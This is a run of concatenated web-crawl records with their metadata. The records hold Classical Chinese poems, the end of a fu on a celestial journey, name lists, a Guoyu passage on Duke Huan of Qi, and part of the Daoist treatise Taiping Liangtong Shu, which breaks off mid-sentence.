碄。经重阴乎寂漠兮,愍坟羊之潜深。\n追慌忽于地底兮,轶无形而上浮。出右密之暗野兮,不识蹊之所由。速烛龙令执炬兮,过钟山而中休。瞰瑶谿之赤岸兮,吊祖江之见刘。聘王母于银台兮,羞玉芝以疗饥。戴胜慭其既欢兮,又诮余之行迟。载太华之玉女兮,召洛浦之宓妃。咸姣丽以蛊媚兮,增嫮眼而蛾眉。舒妙婧之纤腰兮,扬杂错之袿徽。离朱唇而微笑兮,颜的砾以遗光。献环琨与玙缡兮,申厥好以玄黄。虽色艳而赂美兮,志浩荡而不嘉。双材悲于不纳兮,并咏诗而清歌。歌曰:\"天地烟煴,百卉含葩。鸣鹤交颈,雎鸠相和。处子怀春,精魂回移。如何淑明,忘我实多。\"\n将答赋而不暇兮,爰整驾而亟行。瞻昆仑之巍巍兮,临萦河之洋洋。伏灵龟以负坻兮,亘螭龙之飞梁。登阆风之曾城兮,搆不死而为床。屑瑶蕊以为糇兮,斞白水以为浆。抨巫咸以占梦兮,乃贞吉之元符。滋令德于正中兮,合嘉禾以为敷。既垂颖而顾本兮,尔要思乎故居。安和静而随时兮,姑纯懿之所庐。\n戒庶寮以夙会兮,佥恭职而并迓。丰隆軯其震霆兮,列缺晔其照夜。云师蘧以交集兮,涷雨沛其洒涂。轙雕舆而树葩兮,扰应龙以服辂。百神森其备从兮,屯骑罗而星布。振余袂而就车兮,修剑揭以低昂。冠咢咢其映盖兮,佩綝纚以辉煌。仆夫俨其正策兮,八乘摅而超骧。氛旄溶以天旋兮,蜺旌飘而飞扬。抚軨轵而还睨兮,心灼药其如汤。羡上都之赫戏兮,何迷故而不忘。左青雕以健芝兮,右素威以司钲。前长离使拂羽兮,委水衡乎玄冥。属箕伯以函风兮,澄淟涊而为清。曳云旗之离离兮,鸣玉鸾之嘤嘤。涉清霄而升遐兮,浮蔑蒙而上征。纷翼翼以徐戾兮,焱回回其扬灵。叫帝阍使辟扉兮,觌天皇于琼宫。聆《广乐》之九奏兮,展泄泄以肜肜。考理乱于律钧兮,意建始而思终。惟盘逸之无斁兮,惧乐往而哀来。素抚弦而余音兮,大容吟曰念哉。既防溢而静志兮,迨我暇以翱翔。出紫宫之肃肃兮,集太微之阆阆。命王良掌策驷兮,逾高阁之锵锵。建罔车之幕幕兮,猎青林之芒芒。弯威弧之拨剌兮,射嶓冢之封狼。观壁垒于北落兮,伐河鼓之磅硠。乘天潢之泛泛兮,浮云汉之汤汤。倚招摇、摄提以低回剹流兮,察二纪、五纬之绸缪遹皇。偃蹇夭矫娩以连卷兮,杂沓丛顇飒以方骧。戫汨飂泪沛以罔象兮,烂漫丽靡藐以迭逿。凌惊雷之砊磕兮,弄狂电之淫裔。逾厖澒于宕冥兮,贯倒景而高厉。廓荡荡其无涯兮,乃今穷乎天外。据开阳而頫盼兮,临旧乡之暗蔼。\n悲离居之劳心兮,情悁悁而思归。魂眷眷而屡顾兮,马倚輈而徘徊。虽遨游以偷乐兮,岂愁慕之可怀?出阊阖兮降天涂,乘飙忽兮驰虚无。云霏霏兮绕余轮,风眇眇兮震余旟。缤联翩兮纷暗暧,倏眩眃兮反常闾。\n收畴昔之逸豫兮,卷淫放之遐心。修初服之娑娑兮,长余佩之参参。文章焕以粲烂兮,美纷纭以从风。御六艺之珍驾兮,游道德之平林。结典籍而为罟兮,驱儒墨而为禽。玩阴阳之变化兮,咏《雅》《颂》之徽音。嘉曾氏之《归耕》兮,慕历陵之钦崟。共夙昔而不贰兮,固终始之所服也。夕惕若厉以省諐兮,惧余身之未勅也。苟中情之端直兮,莫吾知而不恧。墨无为以凝志兮,与仁义乎消摇。不出户而知天下兮,何必历远以劬劳!\n系曰:\n天长地久岁不留,俟河之清只怀忧。\n愿得远度以自娱,上下无常穷六区。\n超逾腾跃绝世俗,飘飖神举逞所欲。\n天不可阶仙夫希,《柏舟》悄悄吝不飞。\n松乔高跱孰能离,结精远游使心携。\n回志朅来从玄諆,获我所求夫何思!\n手植千树桑,文杏作中梁。\n频年徭役重,尽属富梁郎。\n富梁田业广,用此买金章。\n昨日门前过,轩车满垂杨。\n归来说向梁,儿孙竟咨嗟。\n不见千树桑,一浦芙蓉花。\n色杯浓,一葫芦春色醉山翁,一葫芦色压花梢重。随我奚童,葫芦干,兴不穷。谁人共?一带青山送。乘风列子,列子乘风。\n暮雨萧萧江上村,绿林豪客夜知闻。\n他时不用逃名姓,世上如今半是君。\n磐折辞主人,开帆驾洪涛。\n春水满南国,朱崖云日高。\n舟子废寝食,飘风争所操。\n我行匪利涉,谢尔从者劳。\n石间采蕨女,鬻市输官曹。\n丈夫死百役,暮返空村号。\n闻见事略同,刻剥及锥刀。\n贵人岂不仁?视汝如莠蒿!\n索钱多门户,丧乱纷嗷嗷。\n奈何黠吏徒,渔夺成逋逃!\n自喜遂生理,花时甘缊袍。\n蜀山攒黛留晴雪,簝笋蕨芽萦九折。\n江风吹巧剪霞绡,花萦千枝杜鹃血。\n杜鹃飞入岩下丛,夜叫思归山月中。\n巴水漾情情不尽,文君织得春机红。\n怨魄未归芳草死,江头学种相思子。\n树成寄与望乡人,白帝荒城五千里。\n近来愁似天来大,谁解相怜。谁解相怜。又把愁来做个天。\n都将今古无穷事,放在愁边。放在愁边。却自移家向酒泉。\n五鹤西北来,飞飞凌太清。\n仙人绿云上,自道安期名。\n两两白玉童,双吹紫鸾笙。\n去影忽不见,回风送天声。\n我欲一问之,飘然若流星。\n愿餐金光草,寿与天齐倾。","id":"","dump":"CC-MAIN-2023-40","url":"http:\/\/www.guoxuedian.com\/shiwen\/leixing_184\/","date":"2023-09-24T21:42:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506669.30\/warc\/CC-MAIN-20230924191454-20230924221454-00595.warc.gz","language":"lzh","language_score":0.430993408,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.4309934079647064, \"cmn_Hani_score\": 0.21347196400165558, \"nan_Hani_score\": 0.07998330891132355, \"zxx_Latn_score\": 0.03206557780504227, \"jpn_Jpan_score\": 0.02894235961139202, \"wuu_Hani_score\": 0.028250619769096375, \"yue_Hani_score\": 0.026324061676859856, \"und_Tang_score\": 0.011385993100702763}","num_words":55,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.492,"perplexity_score":500.0,"cluster_detection":1} +{"text":"張繼東 崔保衛\n栗玉林 高雅深 侯淑梅 劉勇\n王威力 居義杰 鄭玉山 高建蘋 楊國彬 祝永旺 劉海英 陳少君 孟令東 高榮元 孟巖 王紅梅 趙延初 康艷飛 馬伶伶 ...\n李偉 仝立軍 耿達 張立城 吳慶增 王鑫 郭濤 任毅 么志利","id":"","dump":"CC-MAIN-2023-50","url":"http:\/\/www.winesq.cn\/column\/39-1.html","date":"2023-12-10T17:05:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679102612.80\/warc\/CC-MAIN-20231210155147-20231210185147-00371.warc.gz","language":"lzh","language_score":0.9901068211,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.9901068210601807}","num_words":30,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.284,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.99,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n茅家郦 茅屹阳 茅新云 茅鹤群 茅铭洋 茅心知 茅含书 茅晴晨 茅樱耀 茅惠杰 茅敬淇 茅为翔 茅若先 茅展铭 茅子恒 茅林洪 茅忆挺 茅皓然 茅祺闰 茅雅鸿 茅桂瑞 茅致豪 茅文捷 茅帅帅 茅泽榆 茅泽渝 茅泽瑜 茅奖大 茅凯奖 茅凯闰 茅俊彦 茅炀曦 茅扬曦 茅杨曦 茅雯曦 茅曦雯 茅伊莲 茅一人 茅梓雯 茅滋雯 茅桦雯 茅桦 茅梓伊 茅伊果 茅雯雯 茅庆庆 茅若渲 茅洪明 茅雅雯 茅思月 茅钦洋 茅晨羚 茅宇海 茅雅觉 茅雅竹 茅诗意 茅雅宜 茅戴琪 茅戴静 茅雅静 茅玉晨 茅珏晨 茅一帆 茅心翎 茅心羚 茅心聆 茅心蔺 茅心麟 茅心霖 茅心灵 茅心龄 茅心成 茅心武 茅诗琪 茅篱居 茅戴涵 茅戴雅 茅戴瑚 茅戴平 茅心宜 茅戴欣 茅戴宜 茅欣宜 茅戴嘉 茅戴菀 茅戴瑗 茅戴溪 茅戴菊 茅戴愿 茅戴筝 茅雅郐 茅戴月 茅戴想 茅戴湘 茅丞 茅宣菲 茅菲渲 茅渲梵 茅渲椿 茅渲菲 茅文昊 茅萌凯 茅单 茅泽军 茅海娣 茅成银 茅庭铨 茅釜甑 茅城铭 茅家畅 茅宣锌 茅依蕾 茅为蕙 茅日镖 茅子瑞 茅文兵 茅星煜 茅木萌 茅一男 茅裕峰 茅淋伊 茅伊淋 茅奕萱 茅及荇 茅响 茅盼 茅赜灏 茅则灏 茅永坤 茅泽好 茅泽皓 茅泽浩 茅泽昊 茅泽豪 茅朝 茅朝辉 茅鹂鸾 茅孝明 茅航 茅航航 茅建生 茅长庆 茅定倜 茅冠瑜 茅振瑜 茅朕瑜 茅宸尉 茅宸煜 茅宸嵛 茅宸俞 茅政宇 茅宸瑜 茅宸宇 茅晟宇 茅博瑜 茅震瑜 茅冠嵛 茅宏博 茅瑾 茅泽萱 茅开荣 茅东丰 茅东风 茅少爷 茅清浩 茅建杰 茅思铖 茅桂良 茅丽佳 茅承觊 茅嘉骏 茅亦林 茅恬瑜 茅正昌 茅成龙 茅超译 茅青锋 茅磊闽 茅抑枚 茅惠珍 茅毅 茅樱静 茅淋淋 茅雪青 茅宇海 茅渝轩 茅伟慧 茅葵葵 茅凡翔 茅彬 茅秦源 茅文蓓 茅倬蕤 茅政霖 茅东凯 茅昕睿 茅昕鹏 茅俊辉 茅皓钧 茅胜基 茅渲枫 茅渲采 茅渲林 茅渲翌 茅渲贤 茅晟渲 茅宣睿 茅渲睿 茅戴公 茅渲谨 茅渲铭 茅渲舟 茅渲丫 茅渲雯 茅渲昕 茅渲歆 茅梦昕 茅萌昕 茅洁昕 茅宇春 茅于春 茅箐渲 茅乐湫 茅乐渊 茅渲乐 茅乐渲 茅榆沛 茅湘缘 茅美湘 茅美香 茅青海 茅一芮 茅拯刚 茅坑 茅溯 茅萱 茅雯萱 茅杨雯 茅倚萱 茅心澜 茅建标 茅斗金 茅斗斗 茅豆逗 茅逗逗 茅兜兜 茅枭枭 茅家理 茅萧萧 茅金柒 茅金七 茅少秋 茅柒金 茅七金 茅江杰 茅江疆 茅华杰 茅政渝 茅渝政 茅政杰 茅文俊 茅文龙 茅维维 茅灵杰 茅艺杰 茅科杰 茅隆杰 茅妙杰 茅冰杰 茅贤杰 茅亿杰 茅斌杰 茅庆杰 茅乐杰 茅龙杰 茅新宇 茅秋杰 茅鑫杰 茅再杰 茅柔柔 茅学杰 茅瑞杰 茅端午 茅冰海 茅宇晴 茅安雅 茅青 茅木 茅草 茅伟先 茅瑞先 茅逾先 茅予先 茅予暄 茅云仙 茅云先 茅誉先 茅跃先 茅曰先 茅亦先","id":"","dump":"CC-MAIN-2023-50","url":"http:\/\/www.zy-zz.cn\/show_A46.aspx","date":"2023-11-30T10:40:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100184.3\/warc\/CC-MAIN-20231130094531-20231130124531-00115.warc.gz","language":"lzh","language_score":0.5267731547,"language_script":"Hani","minhash_cluster_size":9,"top_langs":"{\"lzh_Hani_score\": 0.5267731547355652, \"cmn_Hani_score\": 0.19301332533359528, \"wuu_Hani_score\": 0.1740448921918869, \"yue_Hani_score\": 0.040518619120121, \"jpn_Jpan_score\": 0.020752927288413048, \"nan_Hani_score\": 0.018722455948591232, \"und_Hira_score\": 0.010058491490781307}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.252,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.52,"perplexity_score":500.0,"cluster_detection":1} +{"text":"國語齊語\n桓公霸諸侯\n桓公憂天下諸侯。魯有夫人、慶父之亂,二君弒死,國絕無嗣。桓公聞之,使高子存之。\n狄人攻邢,桓公築夷儀以封之,男女不淫,牛馬選具。狄人攻衛,衛人出廬于曹,桓公城楚丘以封之。其畜散而無育,桓公與之繫馬三百。天下諸侯稱仁焉。於是天下諸侯知桓公之非為己動也,是故諸侯歸之。\n桓公知諸侯之歸己也,故使輕其幣而重其禮。故天下諸侯罷馬以為幣,縷綦以為奉,鹿皮四个;諸侯之使垂櫜而入,稛載而歸。故拘之以利,結之以信,示之以武,故天下小國諸侯既許桓公,莫之敢背,就其利而信其仁、畏其武。桓公知天下諸侯多與己也,故又大施忠焉。可為動者為之動,可為謀者為之謀,軍譚、遂而不有也,諸侯稱寬焉。通齊國之魚鹽于東萊,使關市幾而不征,以為諸侯利,諸侯稱廣焉。築葵茲、晏、負夏、領釜丘,以禦戎、狄之地,所以禁暴於諸侯也;築五鹿、中牟、蓋與、牡丘,以衛諸夏之地,所以示權於中國也。教大成,定三革,隱五刃,朝服以濟河而無怵惕焉,文事勝矣。是故大國慚媿,小國附協。唯能用管夷吾、甯戚、隰朋、賓胥無、鮑叔牙之屬而伯功立。","id":"","dump":"CC-MAIN-2017-22","url":"http:\/\/xn--5rtnx620bw5s.tw\/a2\/a201\/078.htm","date":"2017-05-29T20:49:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463612553.95\/warc\/CC-MAIN-20170529203855-20170529223855-00250.warc.gz","language":"lzh","language_score":0.7512052655,"language_script":"Hani","minhash_cluster_size":9,"top_langs":"{\"lzh_Hani_score\": 0.7512052655220032, \"cmn_Hani_score\": 0.16485236585140228, \"nan_Hani_score\": 0.049474455416202545, \"wuu_Hani_score\": 0.01593894325196743}","num_words":5,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.769,"perplexity_score":500.0,"cluster_detection":1} +{"text":"太平兩同書\n|太平兩同書 唐|\n|經名:太平兩同書。原不題撰人,一說吳筠撰,一說羅隱撰。二卷。底本出處:《道藏》太平部。\n\n\n目录\n太平兩同書卷上[编辑]\n貴賤第一[编辑]\n夫一氣所化,陽尊而陰卑。三才肇分,天高而地下。龜龍為鱗介之長,麟鳳處羽毛之宗,金玉乃土石之標,芝松則卉木之秀。此乃貴賤之理,著之於自然也。龜龍有神靈之別,麟鳳有仁愛之異,金玉有鑑潤之奇,芝松有貞秀之姿,是皆性稟殊致,為眾物之所重也。然則萬物之中,唯人為貴。人不自理,必有所尊,亦以明聖之才而居億兆之上也。是故時之所賢者則貴之,以為君長;才不應代者則賤之,以為黎庶。然處君長之位非不貴矣,雖蒞力有餘而無德可稱,則其貴不足貴也;居黎庶之內非不『賤矣,雖貧弱不足而有道可採,則其賤未為賤也。何以言之?昔者殷紂居九五之位,孔丘則魯國之逐臣也;齊景有千駟之饒,伯夷則首陽之餓士也。此非不尊卑道阻,飛伏理殊,然而百代人君競慕丘夷之義,三尺童子羞聞紂景之名。是以貴賤之途未可以窮達論也。故夫人主所以稱尊者,以其有德也。苟無其德,則何以異於萬物乎。是故明君者納陛斡慮,吁食興懷,勞十起而無疲,聽八音而受諫,蓋有由矣。且崆峒高臥,黃軒致順風之請;穎水幽居,帝堯發時雨之讓。夫以鰥夫獨善之操,猶降萬乘之尊,況天子厚載之恩而為百姓所薄者哉。蓋不患無位而患德之不修也,不憂其賤而憂道之不篤也。《易》曰:聖人之大寶曰位。何以守位。曰仁。苟無其仁,亦何能守位乎。是以古之人君乾乾而夕惕,豈徒為名而已哉。實恐墜聖人之大寶,辱先王之餘慶也。故貴者榮也,非有道而不能居;賤者辱也,雖有力而不能避也。苟以修德不求其貴而貴自求之,苟以不仁欲離其賤而賤不離之。故昔虞舜處於側陋非不微矣,而鼎祚肇建,終有揖讓之美;夏桀親御神器非不盛矣,而萬姓莫輔,竟罹放逐之辱;古公避賤而遷居,豈求其貴也,行未報策,邑成岐下;胡亥笑堯禹之陋,豈樂其賤也,死不旋踵,地分灞上。夫以虞舜之微,非有穀帛之利以悅於眾也;夏桀之盛,非無戈戟之防以禦於敵也;古公之興,非以一人之力自強於家國也;胡亥之滅,非以萬乘之尊願同於黔首也。貴者愈賤,賤者愈貴,求之者不得,得之者不求。豈皇天之有私,惟德佑之而已矣。故老氏曰:道尊德貴。其是之謂乎。\n強弱第二[编辑]\n夫強不自強,因弱以奉強;弱不自弱,因強以禦弱。故弱為強者所伏,強為弱者所宗,上下相制,自然之理也。然則所謂強者豈壯勇之謂邪,所謂弱者豈怯懦之謂邪。蓋在乎有德,不在乎多力也。何以言之。夫金者,天下之至剛也;水者,天下之至柔也。金雖剛矣,折之而不可以續;水雖柔矣,斬之而不可以斷;則水柔能成其剛,金剛不輟其弱也。故晏嬰之侏儒耳齊國之宰臣,甘羅之童子耳秦國之良相。僑如,大人也,魯人樁其喉矣;長萬,壯士也,宋華醞其肉矣。晏嬰身短不過人,此非不懦矣;甘羅年未弱冠,此非不幼矣;僑如大可專車,此非不壯矣;長萬力能抉革,此非不勇矣。然則僑如、長萬智不足以全身,晏嬰、甘羅謀可以制一國,豈非德力有異,強弱不同者歟。由是乾以健剛,終有亢極之悔;謙以卑下,能成光大之尊,則其致也。然夫所謂德者何唯慈唯仁矣,所謂力者何且暴且武耳。苟以仁慈,則天地所不違,鬼神將來舍,而況於邇乎。苟以暴武,則九族所離心,六親所側目,而屍於遠乎。是故德者,兆庶之所賴也;力者,一夫之所恃也。矜一夫之用,故不可得其強;乘兆庶之恩,故不可得其弱。是以紂能索鐵,天下懼之如虎狼;堯不勝衣,天下親之如父母。然虎狼雖使人懼之,豈言虎狼強於人耶。父母能令子親之,豈可言父母弱於子耶。則強弱之理,固亦明矣。是以古之明君道濟天下,知眾心不可以力制,大名不可以暴成,故盛德以自脩,柔仁以禦下,用能不言而信洽,垂拱以化行,將乃八極歸誠,四方重譯,豈徒一邦從服,百姓與能而已哉。嗟乎。古之暴君驕酷天下,捨德而任力,忘己而責人,壯可行舟不能自制其嗜慾,材堪舉鼎不足自全其性靈,至令社稷為墟,宗廟無主,永為後代所笑,豈獨當時之弱乎。悲夫。老氏曰:勝人者有力,自勝者強。其是之謂乎。\n損益第三[编辑]\n夫萬姓所賴在乎一人,一人所安資乎萬姓,則萬姓為天下之足,一人為天下之首也。然則萬姓眾矣,不能免塗炭之禍;一人尊矣,不能逃放戮之辱。豈失之於足,實在於元首也。夫以水動萍移,風行草偃。處唐虞之代則比屋可封,居桀紂之朝則比屋可戮。夫天下者豈賢於彼而愚於此,易於上而難於下哉。蓋人君有所損益也。然則益莫大於主儉,損莫大於君奢。奢儉之問,乃損益之本也。且夫曰月者,天下之至明也。然猶有不及之處爾。其儉主之理則天下無為,天下無為則萬姓受其賜,其於日月亦已大矣。豺狼者,天下之至害也。然猶有不傷之所爾。其奢君之理則天下多事,天下多事則萬姓受其毒,其於豺狼亦已甚矣。是故古先聖君務脩儉德,土諧茅宇,梯衣康裘,捨難得之貨,捨無用之器,薄賦斂,省播役,損一人之愛好,益萬人之性命。故得天下歡娛,各悅其生矣。古先暴主志在奢淫,瑤臺象林,錦衣玉食,購難得之貨,斷無用之器,厚賦斂,煩楊役,益一人之愛好,損萬人之性命。故使天下困窮,不畏其死矣。夫死且不畏,豈可畏其亂乎。生且是悅,豈不悅其安乎。故人安者,天子所以得其安也;人亂者,天子所以罹其亂也。人主欲其己安而不念其人安,恐其人亂而不思其己亂,此不可謂其智也。且夫剖腹啗口不足謂其美也,溫踵動心不足謂其勞也。夫心口所以存者,為其踵腹也。腹之且剖,豈異口之剖耶。踵之且溫,豈異心之溫也。故人主所以稱至尊者,徒以有其人也。人且共益,則君孰與其損哉。人且共損,則君孰與其益哉。是故損己以益物者,物既益矣,而物亦益之。堯舜所以成其上聖,克保耆頤之壽也。益己以損物者,物既損矣,而物亦損之。癸辛所以陷其下愚,自取誅逐之敗也。是則彼之自損者,豈非自益之道歟。此之自益者,豈非自損之道歟。損益之途,固亦明矣。嗟夫。性命者,至重之理也;愛好者,不急之事也。今我捨一身之不急,濟萬姓之至重,不言所利,廣遂生成,永居南嶽之安,常有北辰之政,則普天率土孰為我損乎。夫以嗜慾無厭,貪求莫止,士饑糟糢,犬馬餘其粟肉,人衣皮毛,土木榮其錦討,忠不虛喪實,捨利取危,根棘生於梗途,鯨說游於沸海,則九州四域孰為益乎。故老氏曰:天之道,損有餘補不足。其是之謂歟。\n敬慢第四[编辑]\n遠古之代,人心混沌,不殊於草木,取類於羽毛。後代聖人乃導之以禮樂,教之以仁義。然後君臣貴賤之制,坦然有章矣。然則禮之所先莫大乎敬,禮之所弊莫甚於慢。故以敬事天則神降,以敬理國則人和;以慢事天則神欺,以慢理國則人殆。下之不敬則不足以奉君,上之不敬則不足以御臣。是以地中有山,大易發謙尊之旨;海下於水,老氏著谷王之喻。相鼠有體,風詩刺其失儀;飛烏能言,古人記其無禮,則敬慢之問,美惡殊致。是故明主之於天下也,設壇授將,側席求賢,賁束帛於丘園,降安車於途巷,故得真龍就位,振鷺來庭,天下榮之,願從其化也。昧主之於天下也,披裳接士,露髮朝人,視賢良若草芥,比黎庶為豕畜,是以白駒投谷,飛鴻逝雲,天下惡之,願逃其恥也。然夫敬人者不必自賤,蓋欲用其人也;慢人者不必增貴,適足怨其人也。何以言之。昔文侯軾干木之聞,昭王築郭院之館,故得群才必至,駿足攸歸,何則,以敬之所致也。齊桓有葵丘之驕,漢祖輕過趙之罵,故有諸侯不附,大臣構述,何則,以慢之所致也。然夫向之所敬者,豈徒敬人而已哉。蓋以自敬也。向之所慢者,豈徒慢人而已哉。蓋以自慢也。故敬一人則千萬人悅,慢一人則千萬人怨;皆欲知好人之敬而不知行其所以敬,皆欲知惡人之慢而不知去其所以慢。此猶南望以求燕,北行以適越,誠有不可得也。且夫人主者,天下之表也,行書國策,言記史官。有一善,若慶雲之浮輝,天下之所欣賀;有一惡,若朝曰之帶蝕,天下之所傷嗟。不可類於匹夫,不慎其敬慢也。故人問田子方曰:富貴者驕人,貧賤者驕人乎。子方曰:諸侯而驕人則失其國,大夫而驕人則失其家。貧賤者行不合道,言不合同,則去之。楚越若脫弊屐,奈何同之。是以虎豹墜谷頓為竄粉,螻蟻隨風無傷絲髮,輕重之理不同年而語也。故周公,文王之子,握吐為勞;馭者,晏嬰之僕,驕矜自若。豈非君子小人之道敬慢殊途者乎。夫尺蟆求伸亦因其屈,鷥烏將擊必先以卑,以貴下賤大得人也。故老氏曰:後其身而身先。其是之謂歟。\n厚薄第五[编辑]\n夫大德曰生,至貴唯命。故兩臂重於四海,萬物少於一身。雖稟精神於天地,託質氣於父母,然亦因於所養以遂其天理也。且夫松橋者有凌雲之操也,若壅之以糞壤,沃之以鹹流,則不及崇朝已見其憔悴矣。冰雪者無逾時之堅也,若藏之於陰井,庇之於幽峰,則苟涉盛夏未聞其消解也。夫松相之性非不貞矣,終以速朽;冰雪之性非不液矣,竟以遐延。此二者豈天使之然哉。果以養之所致也。況夫人者異乎松相之永矣,養之失其所,則安可以不朽乎。豈徒冰雪之倏忽也,養之得其道,則安可以不延乎。故壽之有長短,由養之有厚薄也。悲夫。飲食男女者,人之大欲存焉。人皆莫不欲其自厚而不知其厚所以薄也,人皆莫不惡其為薄而不知薄之所以厚也。何以言之。昔信陵孝惠為縱長夜之娛,淫酒色之樂,極情肆志,此不自厚也。然卒逢夭折之痛,自隕於泉攏之下,是則為薄亦已甚矣。老氏、彭公修延年之方,遵火食之禁,拘魂制魄,此非不自薄矣。然克保長久之壽,自致於雲霄之上,是則為厚亦已大矣。夫外物者,養生之具也。苟以養過其度,則亦為喪生之源也。是故火之所宜者膏也,木之所宜者水也。今以江湖之水清其尺蘗,斛庾之膏沃其皇燭,則必見壞滅也。故性命之分,誠有限也;嗜慾之心,固無窮也。以有限之性命逐無窮之嗜慾,亦安可不困苦哉。是以易存飲食之節,禮誠男女之際,蓋有由矣。且夫居九五之尊,此天下之至貴也。有億兆之眾,此天下之至富也。苟以養生之不存,則五藏四支猶非我有,而配身形之外安可有乎。夫美玉投蛙,明珠彈雀,捨所貴而求所賤,人即以為惑矣。今以至尊性命之重而自輕於嗜慾之下,豈得為不惑乎。是故土能濁河而不能濁海,風能拔樹而不能拔山,嗜慾者適足以亂小人,不足以動君子。故魯仲尼渴而遇盜泉之水,義而不飲,鄭子公則染指以求羹;柳下惠與女子同寢,終不為亂,宋華父則危身以竊色;周公遺酒、誥之旨,殷紂沈湎而致亡,捷妤辭同輦之嫌,姜氏遜淫而無恥,豈非貞濫有異,厚薄不同者歟。夫神大用則竭,形大用則勞。神形俱困而求長生者,未之聞也。為人主者誠能內寶神氣,外損嗜慾,念馳騁之誠,宗頤養之言,永保神仙之壽,常為聖明之主,豈不休哉。故老氏曰:外其身而身存。其是之謂乎!\n太平兩同書卷下[编辑]\n理亂第六[编辑]\n夫家同之理亂在乎文武之道也。昔者聖人之造書契以通隱情,刻弓矢以威不伏,二者古今之所存焉。然則文以致理,武以定亂。文雖致理不必止其亂,武雖定亂不必適其理。故防亂在乎用武,勸理在乎用文,若手足之遞使,舟車之更載也。是以漢祖矜功,陸賈諭以為學;魯公赴會,仲尼請其設備,蓋有由也。然夫文者,道之以德;德在乎內誠,不在乎誇飾者也。武者,示之以威;威在乎自全,不在乎強名也。苟以強名,則昊雖多利兵適足彰其敗也。苟以誇飾,則魯雖盡儒服不足救其弱也。是故始皇築長城,修戰伐,勞役不休,人不堪命,遂使陳涉之流坐乘其弊禍,起於強名也。王莽構靈臺,興禮樂,賦斂無度,人不聊生,遂使聖公之徒行收其利敗,始於虛飾也。故始皇用武於天下也,若陶者之涎器,雖務欲求其大而不知薄者之所以反脆也。王莽用文於天下也,若匠者之斷材,雖志在矜其妙而不知細者之所以速折也。二者皆以理之終以為亂也,此未得其大體也。且夫文者示人有章,必存乎簡易,簡易則易從,將有耿且格;武者示人有備,必在乎恬淡,恬淡則自守,恒以逸而待勞。恒以逸而待勞,則攻戰無不利;有恥且格,則教化無不行。化行而眾和,戰利而寇息,然後澄之以無事,濡之以至仁。此聖主所以得其理也。然二子不求之於內而索之於外,不撫之以性而縱之以情,煩文以黷下,暴武以困眾,此不可得意於天下也。雖然猶有其弊,何者。昔伯益鑿井,燧人鑽木,水火之利于今賴之。然智伯因之以灌趙城,董卓因之以焚漢室,是乃為害亦以甚矣。然則文武者理國之利器也,而盜竊者亦何嘗不以文武之道亂天下乎。故章那以軍旅而分秦地,田常以仁義而篡齊國,則有理不能無其亂,唯人主之所制也。是故牧馬者先去其害,驅羊者亟鞭其後。後之不鞭,羊之所失也;害·之不去,馬之所亡也。魯不能去三家之害,國之所叛也;晉不能鞭六卿之後,地之所分也。苟亦不能,則雖有簡易之文,恬淡之武,適足助其亂也,安可得其理乎。故聖人不得文武之道不理賊,臣不得文武之道不亂非。文武有去就之私,蓋人主失其柄也。故孔子曰:天下有道,禮樂征伐自天子出。其是之謂乎。\n得失第七\n夫駒驗騁遠必以四足之力,鸞駑翔遐莫非六翮之用也。是以聖人撫運明主乘時,亦以杞梓之材而為股肱之任。然則地有山川,其險可見;天有冬夏,其時可知。至於凡人之心,杳然無所,素王以之不測,帝堯猶以為難將,欲用之不無得失也。何以言之。夫君者舟也,臣者水也。水能浮舟,亦能覆舟;臣能輔君,亦能危君。是以三傑用而漢興,六卿強而晉滅;陶朱在而越霸,田氏盛而齊亡,雖任是同而成敗尤異也。夫人者姦充無端,真偽匪一,或貌恭而心慢,或言親而行違,或賤廉而貴貪,或貧貞而富黷,或愆大以求變,或位高而自疑,或見利而忘恩,或逃刑而構隙。此則曹筮不足庾,鬼神不能定。且利器者至重也,人心者難知也。以至重之利器,假難知之人心,未明真偽之情,徒信毀譽之口,有霍光之才者亦以得矣,有王莽之行者亦以失矣。是故考之於宗親,則管叔周公不無忠僻;驗之於戚屬,則竇嬰呂祿不無正邪;推之於功臣,則王陵鯨布不無逆順;論之於故友,則樊嗆盧綰不無去留;取以刀筆之能,則若張湯之欺誑;賞以頰舌之用,則厭主父偃之倒行;若智策有餘,則陳平不可獨任;若英謀出眾,則韓信慮其難制。夫天下之至大也,無其人則不可獨守,有其人則又恐為亂,亦何不取其才而不制其亂也。且夫毛髮植於頭也,曰以櫛之;爪甲冠於指也,月以鑪之。爪之不鑪,長則不便於使也;髮之不櫛,久則彌成於亂也。夫爪甲毛髮者近在己躬,本無情識,苟不以理猶為之難;況於臣下非同體之物,人心有易遷之慮,委之以臧否,隨之以是非,蓋不可以容易也。是故逐長路者必在於駿馬之力,理天下者必求於賢臣之用。然駿馬苟馴,猶不可以無轡也;賢臣雖任,終不可以失權也。故夫御馬者,其轡煩,則其馬踝而不進;其轡縱,則其馬驕而好逸。使夫縱不至逸,煩而每進者,唯造父之所能也。夫御臣者,其權峻,則其臣懼而不安;其權寬,則其臣慢而好亂。使夫寬而不至亂,峻而能安者,唯聖人之所明也。恐馬之多逸,捨馬而徒行,則長路不可濟也;懼臣之為亂,捨臣而獨任,則天下莫能理也。知馬之可乘而不執其轡,則不能禁其逸也;知臣之可用而不親其權,則不能止其亂也。是故項羽不用范增,是捨馬而徒行;漢帝雖有曹操,是乘馬而無轡;苟欲不敗其可得乎。故孔子曰:唯名與器,不可